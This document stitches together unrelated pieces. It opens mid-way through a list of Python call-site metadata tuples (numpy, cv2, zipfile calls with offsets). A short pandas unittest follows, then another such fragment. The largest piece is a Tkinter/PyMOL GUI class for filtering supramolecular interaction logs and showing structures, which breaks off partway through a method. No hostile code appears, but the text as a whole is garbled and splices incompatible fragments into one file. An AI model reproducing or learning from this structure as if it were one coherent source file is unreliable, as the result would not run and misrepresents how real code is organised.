'(precisions[i], precisions[i + 1])\n', (42902, 42936), True, 'import numpy as np\n'), ((43549, 43574), 'numpy.arange', 'np.arange', (['(0.5)', '(1.0)', '(0.05)'], {}), '(0.5, 1.0, 0.05)\n', (43558, 43574), True, 'import numpy as np\n'), ((44636, 44660), 'numpy.where', 'np.where', (['(iou_max >= iou)'], {}), '(iou_max >= iou)\n', (44644, 44660), True, 'import numpy as np\n'), ((47200, 47233), 'distutils.version.LooseVersion', 'LooseVersion', (['skimage.__version__'], {}), '(skimage.__version__)\n', (47212, 47233), False, 'from distutils.version import LooseVersion\n'), ((47237, 47257), 'distutils.version.LooseVersion', 'LooseVersion', (['"""0.14"""'], {}), "('0.14')\n", (47249, 47257), False, 'from distutils.version import LooseVersion\n'), ((1650, 1690), 'numpy.delete', 'np.delete', (["results['scores']", 'emptyMasks'], {}), "(results['scores'], emptyMasks)\n", (1659, 1690), True, 'import numpy as np\n'), ((1726, 1769), 'numpy.delete', 'np.delete', (["results['class_ids']", 'emptyMasks'], {}), "(results['class_ids'], emptyMasks)\n", (1735, 1769), True, 'import numpy as np\n'), ((1801, 1848), 'numpy.delete', 'np.delete', (["results['masks']", 'emptyMasks'], {'axis': '(2)'}), "(results['masks'], emptyMasks, axis=2)\n", (1810, 1848), True, 'import numpy as np\n'), ((1879, 1925), 'numpy.delete', 'np.delete', (["results['rois']", 'emptyMasks'], {'axis': '(0)'}), "(results['rois'], emptyMasks, axis=0)\n", (1888, 1925), True, 'import numpy as np\n'), ((3900, 3948), 'cv2.fillPoly', 'cv2.fillPoly', (['res'], {'pts': '[biggest_part]', 'color': '(255)'}), '(res, pts=[biggest_part], color=255)\n', (3912, 3948), False, 'import cv2\n'), ((10563, 10591), 'numpy.logical_and', 'np.logical_and', (['mask1', 'mask2'], {}), '(mask1, mask2)\n', (10577, 10591), True, 'import numpy as np\n'), ((21769, 21827), 'numpy.pad', 'np.pad', (['image', 'padding'], {'mode': '"""constant"""', 'constant_values': '(0)'}), "(image, padding, mode='constant', constant_values=0)\n", (21775, 21827), True, 'import numpy as np\n'), ((28849, 28882), 'numpy.where', 'np.where', (['(mask >= threshold)', '(1)', '(0)'], {}), '(mask >= threshold, 1, 0)\n', (28857, 28882), True, 'import numpy as np\n'), ((35530, 35552), 'numpy.all', 'np.all', (['(x == 0)'], {'axis': '(1)'}), '(x == 0, axis=1)\n', (35536, 35552), True, 'import numpy as np\n'), ((37839, 37869), 'numpy.argsort', 'np.argsort', (['overlaps[pred_idx]'], {}), '(overlaps[pred_idx])\n', (37849, 37869), True, 'import numpy as np\n'), ((37931, 37990), 'numpy.where', 'np.where', (['(overlaps[pred_idx, sorted_ixs] < min_iou_to_count)'], {}), '(overlaps[pred_idx, sorted_ixs] < min_iou_to_count)\n', (37939, 37990), True, 'import numpy as np\n'), ((42992, 43029), 'numpy.where', 'np.where', (['(recalls[:-1] != recalls[1:])'], {}), '(recalls[:-1] != recalls[1:])\n', (43000, 43029), True, 'import numpy as np\n'), ((44009, 44021), 'numpy.array', 'np.array', (['AP'], {}), '(AP)\n', (44017, 44021), True, 'import numpy as np\n'), ((46051, 46082), 'numpy.divide', 'np.divide', (['(boxes - shift)', 'scale'], {}), '(boxes - shift, scale)\n', (46060, 46082), True, 'import numpy as np\n'), ((7481, 7498), 'numpy.any', 'np.any', (['m'], {'axis': '(0)'}), '(m, axis=0)\n', (7487, 7498), True, 'import numpy as np\n'), ((7540, 7557), 'numpy.any', 'np.any', (['m'], {'axis': '(1)'}), '(m, axis=1)\n', (7546, 7557), True, 'import numpy as np\n'), ((8000, 8026), 'numpy.array', 'np.array', (['[y1, x1, y2, x2]'], {}), '([y1, x1, y2, x2])\n', (8008, 8026), True, 'import numpy as np\n'), ((11877, 11902), 'numpy.where', 'np.where', (['(iou > threshold)'], {}), '(iou > threshold)\n', (11885, 11902), True, 'import numpy as np\n'), ((21989, 22019), 'random.randint', 'random.randint', (['(0)', '(h - min_dim)'], {}), '(0, h - min_dim)\n', (22003, 22019), False, 'import random\n'), ((22034, 22064), 'random.randint', 'random.randint', (['(0)', '(w - min_dim)'], {}), '(0, w - min_dim)\n', (22048, 22064), False, 'import random\n'), ((24174, 24186), 'numpy.around', 'np.around', (['m'], {}), '(m)\n', (24183, 24186), True, 'import numpy as np\n'), ((25162, 25174), 'numpy.around', 'np.around', (['m'], {}), '(m)\n', (25171, 25174), True, 'import numpy as np\n'), ((26372, 26398), 'numpy.array', 'np.array', (['([offset * 2] * 2)'], {}), '([offset * 2] * 2)\n', (26380, 26398), True, 'import numpy as np\n'), ((28057, 28083), 'numpy.array', 'np.array', (['([offset * 2] * 2)'], {}), '([offset * 2] * 2)\n', (28065, 28083), True, 'import numpy as np\n'), ((28219, 28288), 'numpy.where', 'np.where', (['(resized_mask[offset:-offset, offset:-offset] >= 0.5)', '(255)', '(0)'], {}), '(resized_mask[offset:-offset, offset:-offset] >= 0.5, 255, 0)\n', (28227, 28288), True, 'import numpy as np\n'), ((31405, 31424), 'numpy.array', 'np.array', (['data[key]'], {}), '(data[key])\n', (31413, 31424), True, 'import numpy as np\n'), ((42279, 42305), 'numpy.cumsum', 'np.cumsum', (['(pred_match > -1)'], {}), '(pred_match > -1)\n', (42288, 42305), True, 'import numpy as np\n'), ((45140, 45160), 'os.path.exists', 'os.path.exists', (['path'], {}), '(path)\n', (45154, 45160), False, 'import os\n'), ((45313, 45342), 'shutil.copyfileobj', 'shutil.copyfileobj', (['resp', 'out'], {}), '(resp, out)\n', (45331, 45342), False, 'import shutil\n'), ((45417, 45443), 'zipfile.ZipFile', 'zipfile.ZipFile', (['path', '"""r"""'], {}), "(path, 'r')\n", (45432, 45443), False, 'import zipfile\n'), ((46626, 46651), 'numpy.multiply', 'np.multiply', (['boxes', 'scale'], {}), '(boxes, scale)\n', (46637, 46651), True, 'import numpy as np\n')] |
import unittest
import pandas as pd
class TestDataFrameStats(unittest.TestCase):
def setUp(self):
# initialize and load df
self.df = pd.DataFrame(data={'data': [0,1,2,3]})
def test_min(self):
self.assertGreaterEqual(self.df.min().values[0], 0)
def test_max(self):
self.assertLessEqual(self.df.max().values[0], 100) | [
"pandas.DataFrame"
] | [((159, 200), 'pandas.DataFrame', 'pd.DataFrame', ([], {'data': "{'data': [0, 1, 2, 3]}"}), "(data={'data': [0, 1, 2, 3]})\n", (171, 200), True, 'import pandas as pd\n')] |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Jul 22 19:39:10 2018
@author: michal
"""
import pandas as pd
import sys
from os import path
from time import time
try:
from pymol import cmd
except:
pass
if sys.version_info[0] < 3:
import Tkinter
import tkMessageBox, tkFileDialog
import ttk
else:
import tkinter as Tkinter
from tkinter import filedialog as tkFileDialog
from tkinter import messagebox as tkMessageBox
import tkinter.ttk as ttk
from cgo_arrow import cgo_arrow
def isStrInt( str2check):
try:
int(str2check)
return True
except:
return False
class SupramolecularGUI:
def __init__(self, page, parallelSelectFuncion, name):
self.name = name
self.page = page
self.logData= {"logFile": False, "data" : None,
"cifDir" : None, "displaying" : False, "displayingAround" : False}
self.numericalParameters = {}
self.checkboxVars = {}
self.listParameters = {}
self.sorting_keys2header = {}
self.unique_keys2header = {}
self.unique_keysOrder = []
self.interactionButtons = []
self.headers = []
self.currentMolecule = { "PdbCode" : None }
self.additionalCheckboxes = []
self.dataIsMerged = False
self.arrowName = "DefaultArrow"
self.arrowColor = "blue red"
self.parallelSelection = False
self.parallelSelectFunction = parallelSelectFuncion
self.externalSelection = False
self.numOfSortingMenu = 2
self.actualDisplaying = { "rowData" : None, "selectionTime" : -1 }
self.recording = False
self.file2record = ""
def grid(self):
self.gridLogFilePart()
self.gridNumericalParameters()
self.gridAroundPart()
self.gridAdditionalCheckboxes()
self.gridListParameters()
self.gridSortingParameters()
self.gridUniqueParameters()
self.gridSearchWidgets()
self.gridTree()
self.gridSaveFiltered()
self.gridInteractionButtons()
def gridLogFilePart(self):
self.but_log = Tkinter.Button(self.page, text = "Load log file", command = self.getLogFile, width = 10)
self.but_log.grid(row = 0, column = 0)
self.ent_log = Tkinter.Entry(self.page, width =20)
self.ent_log.configure(state = "readonly")
self.ent_log.grid(row = 0, column = 1, columnspan = 2)
self.lab_use = Tkinter.Label(self.page, text = "Use filter")
self.lab_use.grid(row = 0, column = 3)
def getLogFile(self):
self.logData["logFile"] = tkFileDialog.askopenfilename(title = "Select file", filetypes = (("Log files","*.log"), ("Txt files", "*.txt") ,("CSV files","*.csv"), ("Dat files", "*.dat"), ("all files","*.*")) )
self.openLogFile()
def openLogFile(self):
if not self.logData["logFile"]:
return
self.ent_log.configure(state = "normal")
self.ent_log.delete(0,"end")
self.ent_log.insert(0, self.logData["logFile"])
self.ent_log.configure(state = "readonly")
try:
self.logData["data"] = pd.read_csv(self.logData["logFile"], sep = "\t").fillna("NA")
self.updateMenu()
if self.recording:
generatedScript = open(self.file2record, 'a')
generatedScript.write(self.name +' = pd.read_csv( "'+self.logData["logFile"] + '", sep = "\\t").fillna("NA") \n' )
generatedScript.close()
except:
tkMessageBox.showwarning(title = "Error!", message = "Pandas cannot parse this file")
def updateMenu(self):
for parameter in self.listParameters:
parametersData = self.logData["data"][ self.listParameters[parameter]["header"] ].unique()
parametersData = sorted(parametersData)
self.logData[parameter] = parametersData
self.listParameters[parameter]["listbox"].delete(0, "end")
for row in parametersData:
self.listParameters[parameter]["listbox"].insert("end", row)
def setNumericalParameters(self, numericalParameters):
self.numericalParameters = numericalParameters
def gridNumericalParameters(self):
self.actualRow = 1
for parameter in sorted(self.numericalParameters.keys()):
self.numericalParameters[parameter]["entry_low"] = Tkinter.Entry(self.page, width = 10)
self.numericalParameters[parameter]["entry_low"].grid(row = self.actualRow, column = 0)
self.numericalParameters[parameter]["label"] = Tkinter.Label(self.page, width = 10, text = "< "+parameter+" <")
self.numericalParameters[parameter]["label"].grid(row=self.actualRow, column =1)
self.numericalParameters[parameter]["entry_high"] = Tkinter.Entry(self.page, width = 10)
self.numericalParameters[parameter]["entry_high"].grid(row = self.actualRow, column = 2)
self.checkboxVars[parameter] = Tkinter.IntVar()
self.numericalParameters[parameter]["checkbox"] = Tkinter.Checkbutton(self.page, variable = self.checkboxVars[parameter] )
self.numericalParameters[parameter]["checkbox"].grid(row=self.actualRow, column = 3)
self.actualRow+=1
def listFilter(self, key):
if not self.logData["logFile"]:
return
template = self.listParameters[key]["entry"].get()
template = template.upper()
templateLen = len(template)
self.listParameters[key]["listbox"].delete(0, "end")
for row in self.logData[key]:
if template == row[:templateLen]:
self.listParameters[key]["listbox"].insert("end", row)
def gridAroundPart(self):
self.lab_around = Tkinter.Label(self.page, text = "Around")
self.lab_around.grid(row = self.actualRow, column = 0)
self.chkvar_around = Tkinter.IntVar()
self.chk_around = Tkinter.Checkbutton(self.page, variable = self.chkvar_around, command = self.showAround)
self.chk_around.grid(row = self.actualRow, column = 1)
self.ent_around = Tkinter.Entry(self.page, width = 10)
self.ent_around.grid(row = self.actualRow, column = 2)
self.ent_around.insert("end", "5.0")
self.actualRow += 1
def showAround(self):
if not self.logData["displaying"]:
return
radius = self.ent_around.get()
try:
radius = float(radius)
except:
return
if self.chkvar_around.get() > 0 and not self.logData["displayingAround"]:
selectionAroundName = "suprAround"
cmd.select( selectionAroundName, "byres ( suprSelection around "+str(radius)+" ) " )
cmd.show("lines", selectionAroundName)
self.logData["displayingAround"] = True
elif self.chkvar_around.get() == 0 and self.logData["displayingAround"]:
cmd.hide("lines" , "suprAround")
cmd.delete("suprAround")
self.logData["displayingAround"] = False
cmd.deselect()
def setListParameters(self, listParameters):
self.listParameters = listParameters
def gridListParameters(self):
self.actualColumn = 4
for parameter in sorted(self.listParameters.keys()):
self.listParameters[parameter]["label"] = Tkinter.Label(self.page, text = parameter)
self.listParameters[parameter]["label"].grid(row = 0, column = self.actualColumn)
self.checkboxVars[parameter] = Tkinter.IntVar()
self.listParameters[parameter]["checkbox"] = Tkinter.Checkbutton(self.page, variable = self.checkboxVars[parameter] )
self.listParameters[parameter]["checkbox"].grid(row = 0, column = self.actualColumn+1)
self.listParameters[parameter]["listbox"] = Tkinter.Listbox(self.page, width =10, height = 8, exportselection = False)
self.listParameters[parameter]["listbox"].grid(row = 0, column = self.actualColumn, rowspan = 8, columnspan = 2)
self.listParameters[parameter]["listbox"].bind("<<ListboxSelect>>", lambda e, arg = parameter:self.moveSelectedFromListbox(e, arg) )
self.listParameters[parameter]["entry"] = Tkinter.Entry(self.page, width = 5)
self.listParameters[parameter]["entry"].grid(row =7, column = self.actualColumn)
self.listParameters[parameter]["button"] = Tkinter.Button(self.page, width = 2, text = "*", command = lambda arg = parameter : self.listFilter(arg))
self.listParameters[parameter]["button"].grid(row = 7, column = self.actualColumn + 1)
self.listParameters[parameter]["listboxSelected"] = Tkinter.Listbox(self.page, width =10, height = 6, exportselection = False)
self.listParameters[parameter]["listboxSelected"].grid(row = 8, column = self.actualColumn, rowspan = 8, columnspan = 2)
self.listParameters[parameter]["buttonSelClear"] = Tkinter.Button(self.page, width = 2, text = "clear", command = lambda arg = parameter : self.clearListboxSelected(arg))
self.listParameters[parameter]["buttonSelClear"].grid(row = 16, column = self.actualColumn)
self.listParameters[parameter]["buttonSelDel"] = Tkinter.Button(self.page, width = 2, text = "del", command = lambda arg = parameter : self.removeFromListBoxSelected(arg))
self.listParameters[parameter]["buttonSelDel"].grid(row = 16, column = self.actualColumn + 1)
self.actualColumn += 2
def gridInteractionButtons(self):
if not self.interactionButtons:
return
currentCol = 18
for button in self.interactionButtons:
name = button["name"]
newButton = Tkinter.Button(self.page, text = name, command = lambda arg = button["headers"] : self.showMoreInteractions(arg))
newButton.grid(row = 25, column = currentCol, columnspan = 2)
currentCol += 2
def moveSelectedFromListbox(self, event, key):
listIndex = self.listParameters[key]["listbox"].curselection()
if listIndex:
selection = str(self.listParameters[key]["listbox"].get(listIndex))
alreadySelected = self.listParameters[key]["listboxSelected"].get(0, 'end')
if selection not in alreadySelected:
self.listParameters[key]["listboxSelected"].insert("end", selection)
def clearListboxSelected(self, key):
self.listParameters[key]["listboxSelected"].delete(0,"end")
def removeFromListBoxSelected(self, key):
listIndex = self.listParameters[key]["listboxSelected"].curselection()
if listIndex:
self.listParameters[key]["listboxSelected"].delete(listIndex, listIndex)
def setSortingParameters(self, keys2header, keysCol):
self.sorting_keys2header = keys2header
self.sorting_keys_col1 = keysCol
self.sorting_keys_col2 = [ "Ascd", "Desc" ]
self.sortingMenu = []
def gridSortingParameters(self):
if not self.sorting_keys2header:
return
for i in range(self.numOfSortingMenu):
self.sortingMenu.append( { } )
self.sortingMenu[i]["label"] = Tkinter.Label(self.page, text = "Sorting"+str(i))
self.sortingMenu[i]["label"].grid(row = 0, column = self.actualColumn)
self.sortingMenu[i]["chk_value"] = Tkinter.IntVar()
self.sortingMenu[i]["chk_butt"] = Tkinter.Checkbutton(self.page, variable = self.sortingMenu[i]["chk_value"])
self.sortingMenu[i]["chk_butt"] .grid(row = 0, column = self.actualColumn+1)
self.sortingMenu[i]["sorting_key"] = Tkinter.IntVar()
actual_row = 1
for value, key in enumerate(self.sorting_keys_col1):
self.sortingMenu[i][key] = Tkinter.Radiobutton(self.page, text = key, variable = self.sortingMenu[i]["sorting_key"], value = value, indicatoron=0, width = 8 )
self.sortingMenu[i][key].grid(row = actual_row, column = self.actualColumn, columnspan = 2)
actual_row += 1
self.sortingMenu[i]["sortingTypeValue"] = Tkinter.IntVar()
for value, key in enumerate(self.sorting_keys_col2):
self.sortingMenu[i][key]= Tkinter.Radiobutton(self.page, text = key, variable = self.sortingMenu[i]["sortingTypeValue"], value = value, indicatoron=0, width = 8 )
self.sortingMenu[i][key].grid(row = actual_row, column = self.actualColumn, columnspan = 2)
actual_row += 1
self.actualColumn += 2
def setUniqueParameters(self, newUniqueParameters, newUniqueKeysOrder):
self.unique_keys2header = newUniqueParameters
self.unique_keysOrder = newUniqueKeysOrder
def gridUniqueParameters(self):
if not self.unique_keys2header:
return
uniqueLabel = Tkinter.Label(self.page, text = "Unique")
uniqueLabel.grid(row = 0, column = self.actualColumn, columnspan = 2)
actualRow = 1
self.uniqueMenu = []
for i, key in enumerate(self.unique_keysOrder):
self.uniqueMenu.append({})
newLabel = Tkinter.Label(self.page, text = key)
newLabel.grid(row = actualRow, column = self.actualColumn)
self.uniqueMenu[i]["headers"] = self.unique_keys2header[key]
self.uniqueMenu[i]["chk_value"] = Tkinter.IntVar()
newChk = Tkinter.Checkbutton(self.page, variable = self.uniqueMenu[i]["chk_value"] )
newChk.grid(row = actualRow, column = self.actualColumn + 1)
actualRow += 1
countButton = Tkinter.Button(self.page, text = "Count", width = 8, command = self.countUnique)
countButton.grid(row = actualRow, column = self.actualColumn , columnspan =2)
actualRow += 1
self.uniqueCountEntry = Tkinter.Entry(self.page, width = 8)
self.uniqueCountEntry.grid(row = actualRow, column = self.actualColumn, columnspan = 2)
self.uniqueCountEntry.configure(state = "readonly")
actualRow += 1
leaveOnlyButton = Tkinter.Button(self.page, text = "Leave only", width = 8, command = self.leaveOnlyUnique)
leaveOnlyButton.grid(row = actualRow, column = self.actualColumn, columnspan = 2)
self.actualColumn += 2
def getSelectedUniqueHeaders(self):
uniqueHeaders = []
for uniqueData in self.uniqueMenu:
if uniqueData["chk_value"].get() > 0:
uniqueHeaders += uniqueData["headers"]
return uniqueHeaders
def countUnique(self):
uniqueHeaders = self.getSelectedUniqueHeaders()
if not "filtered" in self.logData:
return
uniqueData = self.logData["filtered"].drop_duplicates(subset = uniqueHeaders)
rowNumber = uniqueData.shape[0]
self.uniqueCountEntry.configure(state = "normal")
self.uniqueCountEntry.delete(0,"end")
self.uniqueCountEntry.insert(0, str(rowNumber))
self.uniqueCountEntry.configure(state = "readonly")
def leaveOnlyUnique(self):
uniqueHeaders = self.getSelectedUniqueHeaders()
if not "filtered" in self.logData:
return
uniqueData = self.logData["filtered"].drop_duplicates(subset = uniqueHeaders)
self.printFilterResults(uniqueData)
def gridSaveFiltered(self):
self.but_saveFiltered = Tkinter.Button(self.page, width = 7, command = self.saveFiltered, text = "Save filtered")
self.but_saveFiltered.grid(row = 25, column = 16, columnspan=2)
def setAdditionalCheckboxes(self, additionalCheckboxes):
self.additionalCheckboxes = additionalCheckboxes
def gridAdditionalCheckboxes(self):
if self.additionalCheckboxes:
for i in range(len(self.additionalCheckboxes)):
self.additionalCheckboxes[i]["labTk"] = Tkinter.Label(self.page, text = self.additionalCheckboxes[i]["label"])
self.additionalCheckboxes[i]["labTk"].grid(row = self.actualRow, column =0)
self.additionalCheckboxes[i]["chkVar"] = Tkinter.IntVar()
self.additionalCheckboxes[i]["chk"] = Tkinter.Checkbutton(self.page, variable = self.additionalCheckboxes[i]["chkVar"])
self.additionalCheckboxes[i]["chk"].grid(row = self.actualRow, column =1)
self.actualRow += 1
def saveFiltered(self):
if not "filtered" in self.logData:
return
file2save = tkFileDialog.asksaveasfilename(defaultextension = ".log", filetypes = (("Log files","*.log"), ("Txt files", "*.txt") ,("CSV files","*.csv"), ("Dat files", "*.dat"), ("all files","*.*")) )
if file2save:
self.logData["filtered"].to_csv(file2save, sep = "\t")
if file2save and self.recording:
generatedScript = open(self.file2record, 'a')
generatedScript.write(self.name+'_temp.to_csv( "'+ file2save + '", sep = "\\t")\n')
generatedScript.close()
def applyFilter(self):
if self.logData["logFile"] == False:
tkMessageBox.showwarning(title="Warning", message = "Log file not selected")
return
# anythingSet = False
actualData = self.logData["data"]
if self.recording:
generatedScript = open(self.file2record, 'a')
generatedScript.write("\n"+self.name + "_temp = "+self.name + "\n")
generatedScript.close()
for key in self.checkboxVars:
if self.checkboxVars[key].get() > 0:
# anythingSet = True
if key in self.listParameters:
selectedValues = self.listParameters[key]["listboxSelected"].get(0, 'end')
if selectedValues:
actualData = actualData[ actualData[ self.listParameters[key]["header"] ].astype(str).isin(selectedValues) ]
if selectedValues and self.recording:
generatedScript = open(self.file2record, 'a')
tempName = self.name + "_temp"
selectedValuesStr = str(list(selectedValues))
generatedScript.write( tempName + ' = ' + tempName + "[ " + tempName +
'[ "' + str(self.listParameters[key]["header"] ) +
'"].astype(str).isin(' + selectedValuesStr + " )]\n" )
generatedScript.close()
elif key in self.numericalParameters:
minValue = self.numericalParameters[key]["entry_low"].get()
maxValue = self.numericalParameters[key]["entry_high"].get()
try:
minValue = float(minValue)
actualData = actualData[ actualData[ self.numericalParameters[key]["header"] ] > minValue ]
if self.recording:
generatedScript = open(self.file2record, 'a')
tempName = self.name + "_temp"
generatedScript.write(tempName + ' = ' + tempName + "[ " +
tempName + ' [ "'+ self.numericalParameters[key]["header"] +
'" ] > ' + str(minValue) + " ] \n" )
generatedScript.close()
except:
pass
try:
maxValue = float(maxValue)
actualData = actualData[ actualData[ self.numericalParameters[key]["header"] ] < maxValue ]
if self.recording:
generatedScript = open(self.file2record, 'a')
tempName = self.name + "_temp"
generatedScript.write(tempName + ' = ' + tempName + "[ " +
tempName + ' [ "'+ self.numericalParameters[key]["header"] +
'" ] < ' + str(maxValue) + " ] \n" )
generatedScript.close()
except:
pass
for adChk in self.additionalCheckboxes:
if adChk["chkVar"].get() > 0:
actualData = adChk["func"](actualData)
if self.recording:
generatedScript = open(self.file2record, 'a')
tempName = self.name + "_temp"
generatedScript.write(tempName + " = " + adChk["func"].__name__ + "(" + tempName + ")\n")
generatedScript.close()
self.dataIsMerged = False
self.printFilterResults(actualData)
if self.recording:
generatedScript = open(self.file2record, 'a')
generatedScript.write("\n")
generatedScript.close()
def printFilterResults(self, actualData ):
recordsFound = str(len(actualData))
anySort = False
columns = []
ascending = []
for sortData in self.sortingMenu:
toSort = sortData["chk_value"].get()
if toSort > 0:
anySort = True
itemInd = sortData["sorting_key"].get()
sortingKey = self.sorting_keys_col1[itemInd]
header = self.sorting_keys2header[sortingKey]
if header in columns:
continue
columns.append(header)
ascendingActual = sortData["sortingTypeValue"].get()
if ascendingActual == 0:
ascending.append(True)
else:
ascending.append(False)
self.ent_recordsFound.configure(state = "normal")
self.ent_recordsFound.delete(0,"end")
self.ent_recordsFound.insert(0, str(recordsFound))
self.ent_recordsFound.configure(state = "readonly")
if anySort:
actualData = actualData.sort_values(by = columns, ascending = ascending)
if anySort and self.recording:
generatedScript = open(self.file2record, 'a')
tempName = self.name + "_temp"
ascendingStr = [ str(val) for val in ascending]
ascendingStr = " [ "+ " , ".join(ascendingStr) + " ]"
generatedScript.write( tempName + " = " + tempName + ".sort_values( by = "+str(columns) + " , ascending = " + ascendingStr + ")\n" )
generatedScript.close()
self.logData["filtered"] = actualData
start, stop = self.privGetRange()
diff = stop - start
newStart = 0
newStop = diff
self.ent_rangeStart.delete(0, "end")
self.ent_rangeStart.insert("end", str(newStart))
self.ent_rangeStop.delete(0, "end")
self.ent_rangeStop.insert("end", str(newStop))
self.showRange()
self.actualDisplaying = { "rowData" : None, "selectionTime" : -1 }
def showMoreInteractions(self, headers):
if not "filtered" in self.logData:
return
currentSel = self.tree_data.focus()
if currentSel == "" :
return
rowId = self.tree_data.item(currentSel)["values"][0]
data = self.logData["filtered"].iloc[[rowId]]
pdbCode = data["PDB Code"].values[0]
if self.currentMolecule["PdbCode"] and self.currentMolecule["PdbCode"] != pdbCode:
cmd.delete(self.currentMolecule["PdbCode"])
actual_objects = cmd.get_object_list()
for obj in actual_objects:
if obj.upper() != pdbCode.upper():
cmd.delete(obj)
if self.currentMolecule["PdbCode"] != pdbCode:
if self.logData["cifDir"] != None:
potentialPaths = [ path.join( self.logData["cifDir"] , pdbCode.lower() +".cif" ), path.join( self.logData["cifDir"] , pdbCode.upper() +".cif" ) ]
cifFound = False
for filePath in potentialPaths:
if path.isfile(filePath):
cmd.load(filePath)
cifFound = True
break
if not cifFound:
cmd.fetch(pdbCode)
else:
cmd.fetch(pdbCode)
frame = int(data["Model No"].values[0])
if frame != 0:
cmd.frame(frame+1)
cmd.hide("everything")
interactions2print = self.logData["filtered"]
for header in headers:
interactions2print = interactions2print[ interactions2print[header] == data[header].values[0] ]
selection = ""
self.deleteArrows()
for index, row in interactions2print.iterrows():
arrowBegin, arrowEnd = self.getArrowFromRow(row)
uniqueArrowName = self.arrowName+"A"+str(index)
cgo_arrow(arrowBegin, arrowEnd, 0.1, name = uniqueArrowName, color = self.arrowColor )
if selection == "":
selection = "(" + self.getSelectionFromRow(row) + " ) "
else:
selection += "or (" + self.getSelectionFromRow(row) + " ) "
selectionName = "suprSelection"
cmd.select(selectionName, selection)
cmd.show( "sticks" , selectionName )
cmd.center(selectionName)
cmd.zoom(selectionName)
if self.chkvar_around.get() > 0:
selectionAroundName = "suprAround"
radius = self.ent_around.get()
try:
radius = float(radius)
except:
return
cmd.select( selectionAroundName, "byres ( suprSelection around "+str(radius)+" ) " )
cmd.show("lines", selectionAroundName)
self.logData["displayingAround"] = True
else:
self.logData["displayingAround"] = False
self.logData["displaying"] = True
self.currentMolecule["PdbCode"] = pdbCode
cmd.deselect()
self.actualDisplaying["rowData"] = data
self.actualDisplaying["selectionTime"] = time()
def showInteractions(self):
if not "filtered" in self.logData:
return
currentSel = self.tree_data.focus()
if currentSel == "" :
return
rowId = self.tree_data.item(currentSel)["values"][0]
data = self.logData["filtered"].iloc[[rowId]]
pdbCode = data["PDB Code"].values[0]
if self.currentMolecule["PdbCode"] and self.currentMolecule["PdbCode"] != pdbCode:
cmd.delete(self.currentMolecule["PdbCode"])
actual_objects = cmd.get_object_list()
for obj in actual_objects:
if obj.upper() != pdbCode.upper():
cmd.delete(obj)
if self.currentMolecule["PdbCode"] != pdbCode:
if self.logData["cifDir"] != None:
potentialPaths = [ path.join( self.logData["cifDir"] , pdbCode.lower() +".cif" ), path.join( self.logData["cifDir"] , pdbCode.upper() +".cif" ) ]
cifFound = False
for filePath in potentialPaths:
if path.isfile(filePath):
cmd.load(filePath)
cifFound = True
break
if not cifFound:
cmd.fetch(pdbCode)
else:
cmd.fetch(pdbCode)
frame = int(data["Model No"].values[0])
if frame != 0:
cmd.frame(frame+1)
selection = self.getSelection(data)
selectionName = "suprSelection"
cmd.select(selectionName, selection)
cmd.show( "sticks" , selectionName )
cmd.center(selectionName)
cmd.zoom(selectionName)
if self.chkvar_around.get() > 0:
selectionAroundName = "suprAround"
radius = self.ent_around.get()
try:
radius = float(radius)
except:
return
cmd.select( selectionAroundName, "byres ( suprSelection around "+str(radius)+" ) " )
cmd.select( selectionAroundName, "byres ( suprSelection around 5 ) " )
cmd.show("lines", selectionAroundName)
self.logData["displayingAround"] = True
else:
self.logData["displayingAround"] = False
self.deleteArrows()
arrowBegin, arrowEnd = self.getArrow(data)
cgo_arrow(arrowBegin, arrowEnd, 0.1, name = self.arrowName, color = self.arrowColor)
self.logData["displaying"] = True
self.currentMolecule["PdbCode"] = pdbCode
cmd.deselect()
self.actualDisplaying["rowData"] = data
self.actualDisplaying["selectionTime"] = time()
def deleteArrows(self):
for arrow in cmd.get_names_of_type("object:cgo"):
if "rrow" in arrow:
cmd.delete(arrow)
def setSelectionFunc(self, selectionFunc):
self.getSelection = selectionFunc
def setArrowFunc(self, arrowFunc):
self.getArrow = arrowFunc
def showRange(self):
start, stop = self.privGetRange()
if start == stop:
return
self.privShowRange(start, stop)
def privGetRange(self):
if not "filtered" in self.logData:
return 0, 0
start = self.ent_rangeStart.get()
stop = self.ent_rangeStop.get()
if not isStrInt(start) or not isStrInt(stop):
return 0, 1000
start = int(start)
stop = int(stop)
if stop < start:
return 0, 1000
if start < 0:
return 0, 1000
return start, stop
def setRow2Values(self, row2Values):
self.getValues = row2Values
def privShowRange(self, start, stop):
self.tree_data.delete(*self.tree_data.get_children())
rowId = 0
actualData = self.logData["filtered"]
for index, row in actualData.iterrows():
if rowId >= start and rowId < stop:
self.tree_data.insert('', "end" , values = self.getValues(rowId, row) )
rowId += 1
if rowId >= stop:
break
def showNext(self):
start, stop = self.privGetRange()
if start == stop:
return
diff = stop - start
newStart = stop
newStop = stop + diff
dataLen = self.logData["filtered"].shape[0]
if newStop > dataLen:
newStop = dataLen
newStart = dataLen - diff
self.ent_rangeStart.delete(0, "end")
self.ent_rangeStart.insert("end", str(newStart))
self.ent_rangeStop.delete(0, "end")
self.ent_rangeStop.insert("end", str(newStop))
self.privShowRange(newStart, newStop)
def showPrev(self):
start, stop = self.privGetRange()
if start == stop:
return
diff = stop - start
newStart = start - diff
newStop = start
if newStart < 0:
newStop = diff
newStart = 0
self.ent_rangeStart.delete(0, "end")
self.ent_rangeStart.insert("end", str(newStart))
self.ent_rangeStop.delete(0, "end")
self.ent_rangeStop.insert("end", str(newStop))
self.privShowRange(newStart, newStop)
def gridSearchWidgets(self):
self.but_apply = Tkinter.Button(self.page, width = 10, command = self.applyFilter, text = "Search")
self.but_apply.grid(row = 22, column = 0)
self.lab_data = Tkinter.Label(self.page, width = 10, text = "Records found")
self.lab_data.grid(row = 25, column = 0)
self.ent_recordsFound = Tkinter.Entry(self.page, width =20)
self.ent_recordsFound.configure(state = "readonly")
self.ent_recordsFound.grid(row = 25, column = 1, columnspan = 2)
self.lab_range = Tkinter.Label(self.page, width = 5, text = "Range")
self.lab_range.grid(row = 25, column = 3 )
self.ent_rangeStart = Tkinter.Entry(self.page, width = 8)
self.ent_rangeStart.grid(row = 25, column = 4, columnspan = 2)
self.ent_rangeStart.insert("end", 0)
self.ent_rangeStop = Tkinter.Entry(self.page, width = 8)
self.ent_rangeStop.grid(row = 25, column = 6, columnspan = 2)
self.ent_rangeStop.insert("end", 100)
self.but_showInteraction = Tkinter.Button(self.page, width = 8, command = self.showInteractions, text = "Show interact")
self.but_showInteraction.grid(row = 25, column =14, columnspan=2)
self.but_rangeShow = Tkinter.Button(self.page, width = 6, text = "Show", command = self.showRange)
